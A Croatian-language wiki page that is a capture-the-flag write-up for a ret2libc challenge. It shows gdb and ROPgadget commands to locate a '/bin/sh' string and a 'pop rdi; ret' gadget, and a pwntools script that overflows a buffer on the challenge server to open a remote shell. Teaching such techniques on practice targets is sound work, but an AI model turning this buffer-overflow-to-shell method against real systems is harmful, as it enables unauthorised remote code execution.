User Tools

Site Tools


ret2libc

This is an old revision of the document!


Tajne čokolade

Potrebno je napraviti sistemski poziv za pretraživanje datoteke “flag2” na udaljenom računalu. Ovdje će biti prikazano rješenje koje iskorištava činjenicu da datoteka koristi sistemski poziv system():

system("date +%F"); //Zbog ovog poziva je funkcija system uključena u datoteku

Preko nje će se pozvati remote shell koji će omogućiti pozivanje proizvoljnih naredbi tzv. remote code execution.

System(): Funkcija koja prima string kao argument, interpretira ga i izvrši. Kako bi se pozvao shell funkcijom system, potrebno mu je proslijediti pointer na string “/bin/sh”.

Unos stringa “/bin/sh” omogućen je kroz varijablu username ili password, ali se i nalazi unutar datoteke i bez njegovog unosa. Rješenje će biti izvedeno uz pomoć već postojećeg stringa. Razlika će dakle biti u adresi koja sadrži “/bin/sh”. Ukoliko rješenje koristi username ili password varijablu, unutar payloada je potrebno izmjeniti adresu koja se prosljeđuje pozivu system na odgovarajući offset odgovarajuće varijable.

Kako bi se pronašla adresa “/bin/sh” stringa, najprije je potrebno otvoriti main unutar gdb-a:

gdb main

Pokrenite program jednom s (unutar gdb-a):

r 

kako bi se adresna memorija mapirala. Zatim je potrebno pronaći početnu i završnu adresu programa (unutar gdb-a):

info proc map

Ispis prikazuje da je početak memorije na adresi 0x400000, a kraj (onaj prije heap-a) na adresi 0x408000. Pretraga za string “/bin/sh” izvodi se naredbom (unutar gdb-a):

find start_addr, end_addr, string

Dakle:

find 0x400000, 0x408000, "/bin/sh"

Dobivene su dvije adrese: 0x4050d9 i 0x4060d9. Za provjeru da se radi o dobrom stringu može iskoristiti naredba (unutar gdb-a):

x/s 0x4050d9 //ili 0x4060d9

U rješenju će se koristiti adresa 0x4050d9.

Zbog x64 calling konvencije pointer na adresu na kojoj se nalazi string “/bin/sh” biti će u registru rdi. To znači da kako bi se sistemski poziv system ispravno pozvao, prije samog poziva potrebno je postaviti željenu adresu u registar rdi. Kako bi se to postiglo koristi se tzv. “ROP”. Rop (return-oriented programming) je tehnika kojom se registri postavljaju u željena stanja. Jedna od tehnika rop-a jest “write, what, where” kojim se pozivaju krajevi funkcija koji sadrže instrukcije pop s željenim registrima (pop stavlja trenutnu vrijednost na stogu u registar, npr. pop rdi) i time omogućuje arbitrarni unos. U ovom slučaju, potrebno je postaviti vrijednost u registar rdi, što znači da je potrebna funkcija koja završava s pop rdi.

Kako bi se pronašla takva funkcija koriste se rop alati. U ovom primjeru korišteni alat je ROPGadget no postoje i brojni drugi (npr. Ropper, PWN tools…).

Nareba za pronalazak “write,what,where” rop-a jest (pomoću ROPgadget):

ROPGadget --silent --ropchain --binary main

Iz ispisa je vidljivo da je upravo:

pop rdi;
ret; 

na adresi 0x401797 (što je ujedno i adresa unutar funkcije system). Za provjeru (unutar gdb-a):

x/2i 0x401797

Sada kada je poznata adresa stringa “/bin/sh” i adresa rop-a, moguće je sastaviti payload. Ideja je sljedeća:

1. Prepisati stog s padding-om ispravne duljine (120)
2. Prepisati povratnu adresu s adresom rop-a //0x401797 
3. Prepisati sljedećih 8 bajtova s adresom stringa "/bin/sh" //0x4050d9 --> pop rdi;
4. Prepisati povratnu adresu s adresom system poziva //0x4015b6 (adresa system poziva se može saznati s npr. disas system) --> ret;

Nakon uspješnog unosa sastavljenog payloada na udaljenom računalu biti će otvoren shell.

Napomena 1.: x64 calling konvencija zahtjeva da su povratne adrese poredane s 16-bitnim modulom (stack allignment x64 calling convention)

Napomena 2.: Dobra je praksa nadodati adresu na poziv exit() nakon završetka rada shell-a kako bi program uspješno prestao s radom.

Primjer rješenja (PWN tools python3):

payload.py


  p = remote("chal.platforma.hacknite.hr",11002)
  payload = b"\n"
  payload += b"A"*120 #padding
  payload += p64(0x401797)
  payload += p64(0x4050d9)
  payload += p64(0x4015b6)
  p.writeline(payload)
  p.interactive()

ret2libc.1700070718.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki